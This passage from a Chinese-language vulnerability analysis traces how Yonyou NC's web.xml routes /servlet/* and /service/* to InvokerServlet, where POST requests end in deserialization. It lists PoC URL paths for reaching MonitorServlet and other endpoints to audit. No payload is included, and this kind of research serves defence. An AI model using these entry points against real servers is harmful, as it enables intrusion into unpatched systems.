webapps/nc_web/WEB-INF/web.xml:92: <servlet-mapping>
webapps/nc_web/WEB-INF/web.xml:95: </servlet-mapping>
patchmanager/server/conf/web.xml:154:<servlet-mapping>
patchmanager/server/conf/web.xml:157: </servlet-mapping>
patchmanager/server/conf/web.xml:267: <servlet-mapping>
patchmanager/server/conf/web.xml:270: </servlet-mapping>
patchmanager/server/conf/web.xml:274: <servlet-mapping>
patchmanager/server/conf/web.xml:277: </servlet-mapping>
patchmanager/server/conf/web.xml:281: <servlet-mapping>
patchmanager/server/conf/web.xml:284: </servlet-mapping>
patchmanager/server/conf/web.xml:286: <servlet-mapping>
patchmanager/server/conf/web.xml:289: </servlet-mapping>
patchmanager/server/conf/web.xml:293: <servlet-mapping>
patchmanager/server/conf/web.xml:296: </servlet-mapping>
patchmanager/server/conf/web.xml:302: <servlet-mapping>
patchmanager/server/conf/web.xml:305: </servlet-mapping>
Binary file patchmanager/server/lib/j2ee.jar matches
patchmanager/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
Binary file nmc/client/lib/j2ee.jar matches
nmc/server/conf/web.xml:154:<servlet-mapping>
nmc/server/conf/web.xml:157: </servlet-mapping>
nmc/server/conf/web.xml:267: <servlet-mapping>
nmc/server/conf/web.xml:270: </servlet-mapping>
nmc/server/conf/web.xml:274: <servlet-mapping>
nmc/server/conf/web.xml:277: </servlet-mapping>
nmc/server/conf/web.xml:281: <servlet-mapping>
nmc/server/conf/web.xml:284: </servlet-mapping>
nmc/server/conf/web.xml:286: <servlet-mapping>
nmc/server/conf/web.xml:289: </servlet-mapping>
nmc/server/conf/web.xml:293: <servlet-mapping>
nmc/server/conf/web.xml:296: </servlet-mapping>
nmc/server/conf/web.xml:302: <servlet-mapping>
nmc/server/conf/web.xml:305: </servlet-mapping>
Binary file nmc/server/lib/j2ee.jar matches
nmc/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
内容还是很多,在缩小一点范围:
> grep -rn "/servlet/" |grep "web.xml"
hotwebs/uapsep/WEB-INF/web.xml:62: <url-pattern>/servlet/searchServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:66: <url-pattern>/servlet/groupServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:70: <url-pattern>/servlet/sourceServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:74: <url-pattern>/servlet/adSearchUIServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:78: <url-pattern>/servlet/adSearchResultServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:82: <url-pattern>/servlet/SearchTypeServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:86: <url-pattern>/servlet/SearchRoleServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:91: <url-pattern>/servlet/monitorServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:95: <url-pattern>/servlet/metaServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:99: <url-pattern>/servlet/addDocServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:103: <url-pattern>/servlet/shardSearchServlet</url-pattern>
hotwebs/uapsep/WEB-INF/web.xml:107: <url-pattern>/servlet/testmainsub</url-pattern>
webapps/nc_web/WEB-INF/web.xml:94: <url-pattern>/servlet/*</url-pattern>
patchmanager/server/conf/web.xml:276: <url-pattern>/servlet/*</url-pattern>
patchmanager/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
nmc/server/conf/web.xml:276: <url-pattern>/servlet/*</url-pattern>
nmc/server/webapps/ROOT/RELEASE-NOTES.txt:173:$CATALINA_HOME/conf/web.xml to uncomment the "/servlet/*" servlet-mapping
已经可以看到关于 /servlet/,应该是在 webapps/nc_web/WEB-INF/web.xml。
> cat webapps/nc_web/WEB-INF/web.xml |grep -B5 -A5 "/servlet/"
<url-pattern>/service/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<mime-mapping>
<extension>xls</extension>
<mime-type>application/vnd.ms-excel</mime-type>
小结
很明显了。就是交给 NCInvokerServlet 类处理,前面的分析其实都在解析这个 web.xml 文件而已,简简单单的事情搞复杂了。
但是利用链里面的关键类是 InvokerServlet。详细看一下这个 NCInvokerServlet:
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
看到 NCInvokerServlet 是由 nc.bs.framework.server.InvokerServlet 类来处理的。到这里之后因为是 Post 方法交给 doPost 方法处理,最终反序列化。
补充2
PoC 的 URL 可以是
/servlet/~ic/nc.bs.framework.mx.monitor.MonitorServlet
/servlet/~ic/MonitorServlet
/servlet/monitorservlet
探索
详细看一下 webapps/nc_web/WEB-INF/web.xml。
<?xml version="1.0" encoding="UTF-8"?>
<!--<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">-->
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4" id="WebApp">
<listener>
<listener-class>nc.bs.framework.server.WebApplicationStartupHook</listener-class>
</listener>
<filter>
<filter-name>LoggerFilter</filter-name>
<filter-class>nc.bs.framework.server.LoggerServletFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>LoggerFilter</filter-name>
<url-pattern>/*</url-pattern>
<dispatcher>REQUEST</dispatcher>
</filter-mapping>
<servlet>
<servlet-name>CommonServletDispatcher</servlet-name>
<servlet-class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>
<init-param>
<param-name>service</param-name>
<param-value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>
</init-param>
<load-on-startup>10</load-on-startup>
</servlet>
<servlet>
<servlet-name>ProvisionServlet</servlet-name>
<servlet-class>nc.bs.framework.provision.server.ProvisionServlet</servlet-class>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet>
<servlet-name>NCInvokerServlet</servlet-name>
<servlet-class>nc.bs.framework.server.InvokerServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>NCFindWebServlet</servlet-name>
<servlet-class>nc.bs.framework.server.FindWebResourceServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>ws-ncapplet</servlet-name>
<jsp-file>/jsp/wsncapplet.jsp</jsp-file>
</servlet>
<servlet>
<servlet-name>app-esc</servlet-name>
<servlet-class>uap.serverdes.appesc.AppEscServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>app-esc</servlet-name>
<url-pattern>/app.esc</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ws-ncapplet</servlet-name>
<url-pattern>/ncws.jnlp</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCFindWebServlet</servlet-name>
<url-pattern>/NCFindWeb</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>CommonServletDispatcher</servlet-name>
<url-pattern>/ServiceDispatcherServlet/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ProvisionServlet</servlet-name>
<url-pattern>/provision</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/service/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>NCInvokerServlet</servlet-name>
<url-pattern>/servlet/*</url-pattern>
</servlet-mapping>
<mime-mapping>
<extension>xls</extension>
<mime-type>application/vnd.ms-excel</mime-type>
</mime-mapping>
<welcome-file-list>
<welcome-file>default.jsp</welcome-file>
<welcome-file>index.html</welcome-file>
<welcome-file>index.htm</welcome-file>
<welcome-file>index.jsp</welcome-file>
<welcome-file>default.html</welcome-file>
<welcome-file>default.htm</welcome-file>
</welcome-file-list>
<security-constraint>
<web-resource-collection>
<web-resource-name>uapweb</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>
<login-config>
<auth-method>BASIC</auth-method>
</login-config>
<error-page>
<error-code>403</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>400</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<exception-type>java.lang.Exception</exception-type>
<location>/error.jsp</location>
</error-page>
</web-app>
从 url-pattern 开始看起,一共有这些 URL 是需要特殊(指的是交给某个类)处理的。
/servlet/*
/service/*
/provision
/ServiceDispatcherServlet/*
/NCFindWeb
/ncws.jnlp
/app.esc
前两个是本次漏洞的 URL,剩下几个都可以审计看看。
ServiceDispatcherServlet
nc.bs.framework.comn.serv.CommonServletDispatcher#doPost
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
this.rmiHandler.handle(new HttpRMIContext(request, response));
} catch (Throwable var4) {
log.error("remote service error", var4);
}
}
看到也是一个 NDay 漏洞:用友NC历史漏洞(含POC) (qq.com)